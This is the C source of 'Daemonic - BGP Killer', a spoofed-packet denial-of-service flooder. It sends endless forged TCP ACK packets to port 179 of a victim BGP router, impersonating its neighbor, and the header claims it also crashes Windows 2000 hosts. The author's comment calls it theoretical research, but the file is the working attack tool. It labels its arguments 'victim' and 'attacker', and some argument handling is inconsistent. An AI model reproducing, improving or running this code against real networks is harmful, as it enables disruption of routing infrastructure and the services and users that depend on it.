/*
 * Daemonic is part of the Theories in DoS project which I began earlier this year to introduce
 * routing based attack methods in hopes of finding ways to fix them. This was started as a hobby
 * doc I threw together while I study for my certifications. This is not meant to be used for
 * malicious purposes and I truly do not mean for anyone to use it for those purposes either. This
 * can be used to test theories and find ways of fixing them b4 they become an epidemic. This tool
 * is theoretical and should not be used to break networks but rather find solutions to fix them.
 * Greets to everyone in #unixgods, obecian, qwer7y and tattooman, hale@deviance.org, spikeman, 
 * speye, bsd-pat and too many more to list. Super greets to Rajak of the efnet for pointing out
 * deficiencies in my argv values and also pre-testing along with me. And JHH gdd@antioffline.com
 * for pimping AntiOffline from Day Uno.

 * Please note this also tends to crash WinDoS 2000 machines whether or not they're running
 * something on port 179... Weird shit but hey thats Microtrash. Coding was chopped up from too
 * many sources to remember so if something seems familiar please respond and I will add your name
 * if it makes you happy. This theorized DoS is based on the presumption that routers who flood
 * their neighbors will be ignored therefore killing the connection. I plan on tweakning up
 * something to send BGP error code 6's as NEIGHBOR(spoofed) --> NEIGHBOR to see whether or not
 * that would break connectivity. So for all you CCNA, CCIE, CCDP geekazoids, time to throw on
 * some egress filtering since this is not a host based attack sizes should be tweaked for
 * different effects/affects (your choice) Don't make slap your candy ass...

 * If anyone cares to e-mail me with Theoretical Based attacks please feel free to do so...
 * Flames, death threats, pr0n, 0-day, etc should be sent to:
 * J. Oquendo sil@antioffline.com www.antioffline.com/TID Theories in DoS
 * (c) Means nothing to me unless your pointing a gun to my dome
 */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>

#ifndef __USE_BSD
#define __USE_BSD

#endif

#ifndef __FAVOR_BSD

#define __FAVOR_BSD

#endif

#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>

#ifdef LINUX
#define FIX(x)  htons(x)

#else

#define FIX(x)  (x)
#endif

struct ip_hdr {
    u_int       ip_hl:4,                
                ip_v:4;                 
    u_char      ip_tos;                 
    u_short     ip_len;                 
    u_short     ip_id;                  
    u_short     ip_off;                 
    u_char      ip_ttl;                 
    u_char      ip_p;                   
    u_short     ip_sum;                 
    u_long      saddr, daddr;           
};

struct tcp_hdr {
    u_short     th_sport;               
    u_short     th_dport;               
    u_long      th_seq;                 
    u_long      th_syn;
    u_int       th_x2:4,
                th_off:4;
    u_char      th_flags;               
    u_short     th_win;                 
    u_short     th_sum;                 
    u_short     th_urp;                 
};

struct tcpopt_hdr {
    u_char  type;                       
    u_char  len;                        
    u_short value;                      
};

struct pseudo_hdr {                     
    u_long saddr, daddr;                
    u_char mbz, ptcl;                   
    u_short tcpl;                       
};

struct packet {
    struct ip/*_hdr*/ ip;
    struct tcphdr tcp;
};

struct cksum {
    struct pseudo_hdr pseudo;
    struct tcphdr tcp;
};

struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short bgport, bgsize, pps;
u_long radd;
u_long sradd;
int sock;

void usage(char *progname)
{
    fprintf(stderr, "Usage: %s <radd> <sradd> <bgsize> <number>\n", progname);
    fprintf(stderr, "Ports are set to send and receive on port 179\n");
    fprintf(stderr, "radd:\tAddress of router running BGP [victim]\n");
    fprintf(stderr, "sradd:\tSource address of neighbor router running BGP [attacker]\n");

/*  fprintf(stderr, "bgport:\tBGPort is set to 179 and should not be changed\n"); */
/* should you want to change this to test other protocols */

    fprintf(stderr, "bgsize:\tSize of packet which should be no larger than 1024 should allow for xtra header info thru routes\n");
    fprintf(stderr, "num:\tpulverizations per second\n\n");
    exit(1);
}

inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
     while (nleft > 1)  {
         sum += *w++;
         nleft -= 2;
     }
     if (nleft == 1) {
         *(u_char *)(&answer) = *(u_char *) w;
         sum += answer;
     }
     sum = (sum >> 16) + (sum & 0xffff);
     sum += (sum >> 16);               
     answer = ~sum;                  
     return(answer);
}

u_long lookup(char *hostname)
{
    struct hostent *hp;

    if ((hp = gethostbyname(hostname)) == NULL) {
       fprintf(stderr, "Silly crackhead... scripts are for kidz\n", hostname);
       exit(1);
    }

    return *(u_long *)hp->h_addr;
}


void flooder(void)
{
    struct timespec ts;
    int i;


    memset(&packet, 0, sizeof(packet));

    ts.tv_sec                   = 0;
    ts.tv_nsec                  = 10;

    packet.ip.ip_hl             = 5;
    packet.ip.ip_v              = 4;
    packet.ip.ip_p              = IPPROTO_TCP;
    packet.ip.ip_tos            = 0x40;
    packet.ip.ip_id             = radd;
    packet.ip.ip_len            = FIX(sizeof(packet));
    packet.ip.ip_off            = 0;
    packet.ip.ip_ttl            = 255;
    packet.ip.ip_dst.s_addr     = radd;

    packet.tcp.th_flags         = 0;
    packet.tcp.th_win           = htons(65535);
    packet.tcp.th_seq           = random();
    packet.tcp.th_ack           = 0;
    packet.tcp.th_off           = 0; 
    packet.tcp.th_urp           = 0;
    packet.tcp.th_dport         = 179;
    cksum.pseudo.daddr          = sradd;
    cksum.pseudo.mbz            = 0;
    cksum.pseudo.ptcl           = IPPROTO_TCP;
    cksum.pseudo.tcpl           = htons(sizeof(struct tcphdr));

    s_in.sin_family             = AF_INET;
    s_in.sin_addr.s_addr        = sradd;
    s_in.sin_port               = packet.tcp.th_dport;

    for(i=0;;++i) {
    if( !(i&0x3FF) ) {
        packet.tcp.th_sport = 179;
        cksum.pseudo.saddr = packet.ip.ip_src.s_addr = sradd;
        packet.tcp.th_flags = TH_ACK;
        packet.tcp.th_ack   = 31337;

    }
    else {
        packet.tcp.th_flags = TH_ACK;
        packet.tcp.th_ack = rand();
    }
       ++packet.ip.ip_id;
       /*++packet.tcp.th_sport*/;
       ++packet.tcp.th_seq;

       if (!bgport)
          s_in.sin_port = packet.tcp.th_dport = rand();

       packet.ip.ip_sum         = 0;
       packet.tcp.th_sum        = 0;

       cksum.tcp                = packet.tcp;

       packet.ip.ip_sum         = in_cksum((void *)&packet.ip, 20);
       packet.tcp.th_sum        = in_cksum((void *)&cksum, sizeof(cksum));

       if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0);

    }
}

int main(int argc, char *argv[])
{
    int on = 1;

    printf("Daemonic -  BGP Killer [Theories in DoS] www.AntiOffline.com/TID/ \n\n");

    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
       perror("socket");
       exit(1);
    }

    setgid(getgid()); setuid(getuid());

    if (argc < 4)
       usage(argv[0]);

    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)

{
       perror("setsockopt");
       exit(1);

    }

    srand((time(NULL) ^ getpid()) + getppid());

    printf("\nFinding Router\n"); fflush(stdout);

    radd        = lookup(argv[1]);
    bgport      = atoi(argv[3]);
    bgsize      = atoi(argv[4]);
    sradd	= lookup(argv[2]);
    printf("Thou shall not kill thy neighbor\n");

    flooder();

    return 0;
}

